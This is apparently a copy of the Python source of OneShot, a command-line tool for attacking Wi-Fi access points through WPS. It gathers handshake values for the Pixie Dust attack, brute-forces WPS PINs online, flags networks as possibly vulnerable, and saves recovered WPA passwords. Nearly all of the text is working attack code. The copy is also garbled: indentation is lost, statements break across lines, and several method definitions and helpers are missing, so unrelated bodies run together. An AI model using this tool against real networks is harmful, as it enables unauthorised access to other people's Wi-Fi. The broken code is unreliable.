Oneshot
Oneshot
/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
import subprocess
import os
import tempfile
import shutil
import re
import codecs
import socket
import pathlib
import time
from datetime import datetime
import collections
import statistics
import csv
from typing import Dict
class NetworkAddress:
def __init__(self, mac):
if isinstance(mac, int):
self._int_repr = mac
self._str_repr = self._int2mac(mac)
elif isinstance(mac, str):
self._str_repr = mac.replace('-', ':').replace('.', ':').upper()
self._int_repr = self._mac2int(mac)
else:
raise ValueError('MAC address must be string or integer')
@property
def string(self):
return self._str_repr
@string.setter
def string(self, value):
self._str_repr = value
self._int_repr = self._mac2int(value)
@property
def integer(self):
return self._int_repr
@integer.setter
def integer(self, value):
self._int_repr = value
self._str_repr = self._int2mac(value)
def __int__(self):
return self.integer
def __str__(self):
return self.string
@staticmethod
def _mac2int(mac):
return int(mac.replace(':', ''), 16)
@staticmethod
def _int2mac(mac):
mac = hex(mac).split('x')[-1].upper()
mac = mac.zfill(12)
mac = ':'.join(mac[i:i+2] for i in range(0, 12, 2))
return mac
def __repr__(self):
return 'NetworkAddress(string={}, integer={})'.format(
self._str_repr, self._int_repr)
class WPSpin:
"""WPS pin generator"""
def __init__(self):
self.ALGO_MAC = 0
self.ALGO_EMPTY = 1
self.ALGO_STATIC = 2
@staticmethod
def checksum(pin):
"""
Standard WPS checksum algorithm.
@pin — A 7 digit pin to calculate the checksum for.
Returns the checksum value.
"""
accum = 0
while pin:
accum += (3 * (pin % 10))
pin = int(pin / 10)
accum += (pin % 10)
pin = int(pin / 10)
return (10 - accum % 10) % 10
def get_hex(line):
a = line.split(':', 3)
return a[2].replace(' ', '').upper()
class PixiewpsData:
def __init__(self):
self.pke = ''
self.pkr = ''
self.e_hash1 = ''
self.e_hash2 = ''
self.authkey = ''
self.e_nonce = ''
def clear(self):
self.__init__()
def got_all(self):
return (self.pke and self.pkr and self.e_nonce and self.authkey
and self.e_hash1 and self.e_hash2)
class ConnectionStatus:
def __init__(self):
self.status = '' # Must be WSC_NACK, WPS_FAIL or GOT_PSK
self.last_m_message = 0
self.essid = ''
self.wpa_psk = ''
def isFirstHalfValid(self):
return self.last_m_message > 5
def clear(self):
self.__init__()
class BruteforceStatus:
def __init__(self):
self.start_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
self.mask = ''
self.last_attempt_time = time.time() # Last PIN attempt start time
self.attempts_times = collections.deque(maxlen=15)
self.counter = 0
self.statistics_period = 5
def display_status(self):
average_pin_time = statistics.mean(self.attempts_times)
if len(self.mask) == 4:
percentage = int(self.mask) / 11000 * 100
else:
percentage = ((10000 / 11000) + (int(self.mask[4:]) / 11000)) * 100
print('[*] {:.2f}% complete @ {} ({:.2f} seconds/pin)'.format(
percentage, self.start_time, average_pin_time))
def clear(self):
self.__init__()
class Companion:
"""Main application part"""
def __init__(self, interface, save_result=False, print_debug=False):
self.interface = interface
self.save_result = save_result
self.print_debug = print_debug
self.tempdir = tempfile.mkdtemp()
with tempfile.NamedTemporaryFile(mode='w', suffix='.conf', delete=False) as
temp:
temp.write('ctrl_interface={}\nctrl_interface_group=root\
nupdate_config=1\n'.format(self.tempdir))
self.tempconf = temp.name
self.wpas_ctrl_path = f"{self.tempdir}/{interface}"
self.__init_wpa_supplicant()
self.res_socket_file =
f"{tempfile._get_default_tempdir()}/{next(tempfile._get_candidate_names())}"
self.retsock = socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM)
self.retsock.bind(self.res_socket_file)
self.pixie_creds = PixiewpsData()
self.connection_status = ConnectionStatus()
user_home = str(pathlib.Path.home())
self.sessions_dir = f'{user_home}/.OneShot/sessions/'
self.pixiewps_dir = f'{user_home}/.OneShot/pixiewps/'
self.reports_dir = os.path.dirname(os.path.realpath(__file__)) +
'/reports/'
if not os.path.exists(self.sessions_dir):
os.makedirs(self.sessions_dir)
if not os.path.exists(self.pixiewps_dir):
os.makedirs(self.pixiewps_dir)
self.generator = WPSpin()
def __init_wpa_supplicant(self):
print('[*] Running wpa_supplicant…')
cmd = 'wpa_supplicant -K -d -Dnl80211,wext,hostapd,wired -i{} -
c{}'.format(self.interface, self.tempconf)
self.wpas = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,
stderr=subprocess.STDOUT, encoding='utf-8',
errors='replace')
# Waiting for wpa_supplicant control interface initialization
while not os.path.exists(self.wpas_ctrl_path):
pass
if verbose:
sys.stderr.write(line + '\n')
if line.startswith('WPS: '):
if 'Building Message M' in line:
n = int(line.split('Building Message M')[1].replace('D', ''))
self.connection_status.last_m_message = n
print('[*] Sending WPS Message M{}…'.format(n))
elif 'Received M' in line:
n = int(line.split('Received M')[1])
self.connection_status.last_m_message = n
print('[*] Received WPS Message M{}'.format(n))
if n == 5:
print('[+] The first half of the PIN is valid')
elif 'Received WSC_NACK' in line:
self.connection_status.status = 'WSC_NACK'
print('[*] Received WSC NACK')
print('[-] Error: wrong PIN code')
elif 'Enrollee Nonce' in line and 'hexdump' in line:
self.pixie_creds.e_nonce = get_hex(line)
assert(len(self.pixie_creds.e_nonce) == 16*2)
if pixiemode:
print('[P] E-Nonce: {}'.format(self.pixie_creds.e_nonce))
elif 'DH own Public Key' in line and 'hexdump' in line:
self.pixie_creds.pkr = get_hex(line)
assert(len(self.pixie_creds.pkr) == 192*2)
if pixiemode:
print('[P] PKR: {}'.format(self.pixie_creds.pkr))
elif 'DH peer Public Key' in line and 'hexdump' in line:
self.pixie_creds.pke = get_hex(line)
assert(len(self.pixie_creds.pke) == 192*2)
if pixiemode:
print('[P] PKE: {}'.format(self.pixie_creds.pke))
elif 'AuthKey' in line and 'hexdump' in line:
self.pixie_creds.authkey = get_hex(line)
assert(len(self.pixie_creds.authkey) == 32*2)
if pixiemode:
print('[P] AuthKey: {}'.format(self.pixie_creds.authkey))
elif 'E-Hash1' in line and 'hexdump' in line:
self.pixie_creds.e_hash1 = get_hex(line)
assert(len(self.pixie_creds.e_hash1) == 32*2)
if pixiemode:
print('[P] E-Hash1: {}'.format(self.pixie_creds.e_hash1))
elif 'E-Hash2' in line and 'hexdump' in line:
self.pixie_creds.e_hash2 = get_hex(line)
assert(len(self.pixie_creds.e_hash2) == 32*2)
if pixiemode:
print('[P] E-Hash2: {}'.format(self.pixie_creds.e_hash2))
elif 'Network Key' in line and 'hexdump' in line:
self.connection_status.status = 'GOT_PSK'
self.connection_status.wpa_psk =
bytes.fromhex(get_hex(line)).decode('utf-8', errors='replace')
elif ': State: ' in line:
if '-> SCANNING' in line:
self.connection_status.status = 'scanning'
print('[*] Scanning…')
elif ('WPS-FAIL' in line) and (self.connection_status.status != ''):
self.connection_status.status = 'WPS_FAIL'
print('[-] wpa_supplicant returned WPS-FAIL')
# elif 'NL80211_CMD_DEL_STATION' in line:
# print("[!] Unexpected interference — kill
NetworkManager/wpa_supplicant!")
elif 'Trying to authenticate with' in line:
self.connection_status.status = 'authenticating'
if 'SSID' in line:
self.connection_status.essid =
codecs.decode("'".join(line.split("'")[1:-1]), 'unicode-
escape').encode('latin1').decode('utf-8', errors='replace')
print('[*] Authenticating…')
elif 'Authentication response' in line:
print('[+] Authenticated')
elif 'Trying to associate with' in line:
self.connection_status.status = 'associating'
if 'SSID' in line:
self.connection_status.essid =
codecs.decode("'".join(line.split("'")[1:-1]), 'unicode-
escape').encode('latin1').decode('utf-8', errors='replace')
print('[*] Associating with AP…')
elif ('Associated with' in line) and (self.interface in line):
bssid = line.split()[-1].upper()
if self.connection_status.essid:
print('[+] Associated with {} (ESSID: {})'.format(bssid,
self.connection_status.essid))
else:
print('[+] Associated with {}'.format(bssid))
elif 'EAPOL: txStart' in line:
self.connection_status.status = 'eapol_start'
print('[*] Sending EAPOL Start…')
elif 'EAP entering state IDENTITY' in line:
print('[*] Received Identity Request')
elif 'using real identity' in line:
print('[*] Sending Identity Response…')
elif pbc_mode and ('selected BSS ' in line):
bssid = line.split('selected BSS ')[-1].split()[0].upper()
self.connection_status.bssid = bssid
print('[*] Selected AP: {}'.format(bssid))
return True
while True:
res = self.__handle_wpas(pixiemode=pixiemode, pbc_mode=pbc_mode,
verbose=verbose)
if not res:
break
if self.connection_status.status == 'WSC_NACK':
break
elif self.connection_status.status == 'GOT_PSK':
break
elif self.connection_status.status == 'WPS_FAIL':
break
self.sendOnly('WPS_CANCEL')
return False
if self.connection_status.status == 'GOT_PSK':
self.__credentialPrint(pin, self.connection_status.wpa_psk,
self.connection_status.essid)
if self.save_result:
self.__saveResult(bssid, self.connection_status.essid, pin,
self.connection_status.wpa_psk)
if not pbc_mode:
# Try to remove temporary PIN file
filename = self.pixiewps_dir + '{}.run'.format(bssid.replace(':',
'').upper())
try:
os.remove(filename)
except FileNotFoundError:
pass
return True
elif pixiemode:
if self.pixie_creds.got_all():
pin = self.__runPixiewps(showpixiecmd, pixieforce)
if pin:
return self.single_connection(bssid, pin, pixiemode=False,
store_pin_on_fail=True)
return False
else:
print('[!] Not enough data to run Pixie Dust attack')
return False
else:
if store_pin_on_fail:
# Saving Pixiewps calculated PIN if can't connect
self.__savePin(bssid, pin)
return False
try:
self.bruteforce = BruteforceStatus()
self.bruteforce.mask = mask
if len(mask) == 4:
f_half = self.__first_half_bruteforce(bssid, mask, delay)
if f_half and (self.connection_status.status != 'GOT_PSK'):
self.__second_half_bruteforce(bssid, f_half, '001', delay)
elif len(mask) == 7:
f_half = mask[:4]
s_half = mask[4:]
self.__second_half_bruteforce(bssid, f_half, s_half, delay)
raise KeyboardInterrupt
except KeyboardInterrupt:
print("\nAborting…")
filename = self.sessions_dir + '{}.run'.format(bssid.replace(':',
'').upper())
with open(filename, 'w') as file:
file.write(self.bruteforce.mask)
print('[i] Session saved in {}'.format(filename))
if args.loop:
raise KeyboardInterrupt
def cleanup(self):
self.retsock.close()
self.wpas.terminate()
os.remove(self.res_socket_file)
shutil.rmtree(self.tempdir, ignore_errors=True)
os.remove(self.tempconf)
def __del__(self):
self.cleanup()
class WiFiScanner:
"""docstring for WiFiScanner"""
def __init__(self, interface, vuln_list=None):
self.interface = interface
self.vuln_list = vuln_list
reports_fname = os.path.dirname(os.path.realpath(__file__)) +
'/reports/stored.csv'
try:
with open(reports_fname, 'r', newline='', encoding='utf-8',
errors='replace') as file:
csvReader = csv.reader(file, delimiter=';', quoting=csv.QUOTE_ALL)
# Skip header
next(csvReader)
self.stored = []
for row in csvReader:
self.stored.append(
(
row[1], # BSSID
row[2] # ESSID
)
)
except FileNotFoundError:
self.stored = []
if self.vuln_list:
print('Network marks: {1} {0} {2} {0} {3}'.format(
'|',
colored('Possibly vulnerable', color='green'),
colored('WPS locked', color='red'),
colored('Already stored', color='yellow')
))
print('Networks list:')
print('{:<4} {:<18} {:<25} {:<8} {:<4} {:<27} {:<}'.format(
'#', 'BSSID', 'ESSID', 'Sec.', 'PWR', 'WSC device name', 'WSC model'))
network_list_items = list(network_list.items())
if args.reverse_scan:
network_list_items = network_list_items[::-1]
for n, network in network_list_items:
number = f'{n})'
model = '{} {}'.format(network['Model'], network['Model number'])
essid = truncateStr(network['ESSID'], 25)
deviceName = truncateStr(network['Device name'], 27)
line = '{:<4} {:<18} {:<25} {:<8} {:<4} {:<27} {:<}'.format(
number, network['BSSID'], essid,
network['Security type'], network['Level'],
deviceName, model
)
if (network['BSSID'], network['ESSID']) in self.stored:
print(colored(line, color='yellow'))
elif network['WPS locked']:
print(colored(line, color='red'))
elif self.vuln_list and (model in self.vuln_list):
print(colored(line, color='green'))
else:
print(line)
return network_list
def die(msg):
sys.stderr.write(msg + '\n')
sys.exit(1)
def usage():
return """
OneShotPin 0.0.2 (c) 2017 rofl0r, modded by drygdryg
%(prog)s <arguments>
Required arguments:
-i, --interface=<wlan0> : Name of the interface to use
Optional arguments:
-b, --bssid=<mac> : BSSID of the target AP
-p, --pin=<wps pin> : Use the specified pin (arbitrary string or 4/8 digit
pin)
-K, --pixie-dust : Run Pixie Dust attack
-B, --bruteforce : Run online bruteforce attack
--push-button-connect : Run WPS push button connection
Advanced arguments:
-d, --delay=<n> : Set the delay between pin attempts [0]
-w, --write : Write AP credentials to the file on success
-F, --pixie-force : Run Pixiewps with --force option (bruteforce full
range)
-X, --show-pixie-cmd : Always print Pixiewps command
--vuln-list=<filename> : Use custom file with vulnerable devices list
['vulnwsc.txt']
--iface-down : Down network interface when the work is finished
-l, --loop : Run in a loop
-s --scan : Run only one scan for networks
-r, --reverse-scan : Reverse order of networks in the list of networks.
Useful on small displays
-v, --verbose : Verbose output
Example:
%(prog)s -i wlan0 -b 00:90:4C:C1:AC:21 -K
"""
if __name__ == '__main__':
import argparse
parser = argparse.ArgumentParser(
description='OneShotPin 0.0.2 (c) 2017 rofl0r, modded by drygdryg',
epilog='Example: %(prog)s -i wlan0 -b 00:90:4C:C1:AC:21 -K'
)
parser.add_argument(
'-i', '--interface',
type=str,
required=True,
help='Name of the interface to use'
)
parser.add_argument(
'-b', '--bssid',
type=str,
help='BSSID of the target AP'
)
parser.add_argument(
'-p', '--pin',
type=str,
help='Use the specified pin (arbitrary string or 4/8 digit pin)'
)
parser.add_argument(
'-K', '--pixie-dust',
action='store_true',
help='Run Pixie Dust attack'
)
parser.add_argument(
'-F', '--pixie-force',
action='store_true',
help='Run Pixiewps with --force option (bruteforce full range)'
)
parser.add_argument(
'-X', '--show-pixie-cmd',
action='store_true',
help='Always print Pixiewps command'
)
parser.add_argument(
'-B', '--bruteforce',
action='store_true',
help='Run online bruteforce attack'
)
parser.add_argument(
'--pbc', '--push-button-connect',
action='store_true',
help='Run WPS push button connection'
)
parser.add_argument(
'-d', '--delay',
type=float,
help='Set the delay between pin attempts'
)
parser.add_argument(
'-w', '--write',
action='store_true',
help='Write credentials to the file on success'
)
parser.add_argument(
'--iface-down',
action='store_true',
help='Down network interface when the work is finished'
)
parser.add_argument(
'--vuln-list',
type=str,
default=os.path.dirname(os.path.realpath(__file__)) + '/vulnwsc.txt',
help='Use custom file with vulnerable devices list'
)
parser.add_argument(
'-l', '--loop',
action='store_true',
help='Run in a loop'
)
parser.add_argument(
'-s', '--scan',
action='store_true',
help='Run only one scan for networks'
)
parser.add_argument(
'-r', '--reverse-scan',
action='store_true',
help='Reverse order of networks in the list of networks. Useful on small
displays'
)
parser.add_argument(
'-v', '--verbose',
action='store_true',
help='Verbose output'
)
args = parser.parse_args()
if not ifaceUp(args.interface):
die('Unable to up interface "{}"'.format(args.interface))
while True:
try:
companion = Companion(args.interface, args.write,
print_debug=args.verbose)
if args.pbc:
companion.single_connection(pbc_mode=True)
else:
if not args.bssid:
try:
with open(args.vuln_list, 'r', encoding='utf-8') as file:
vuln_list = file.read().splitlines()
except FileNotFoundError:
vuln_list = []
scanner = WiFiScanner(args.interface, vuln_list)
if not args.loop:
print('[*] BSSID not specified (--bssid) — scanning for
available networks')
if not args.scan:
args.bssid = scanner.prompt_network()
else:
args.bssid = scanner.scan_network()
if args.bssid:
companion = Companion(args.interface, args.write,
print_debug=args.verbose)
if args.bruteforce:
companion.smart_bruteforce(args.bssid, args.pin,
args.delay)
else:
companion.single_connection(args.bssid, args.pin,
args.pixie_dust,
args.show_pixie_cmd,
args.pixie_force)
if not args.loop:
break
else:
args.bssid = None
except KeyboardInterrupt:
if args.loop:
if input("\n[?] Exit the script (otherwise continue to AP scan)?
[N/y] ").lower() == 'y':
print("Aborting…")
break
else:
args.bssid = None
else:
print("\nAborting…")
break
if args.iface_down:
ifaceUp(args.interface, down=True)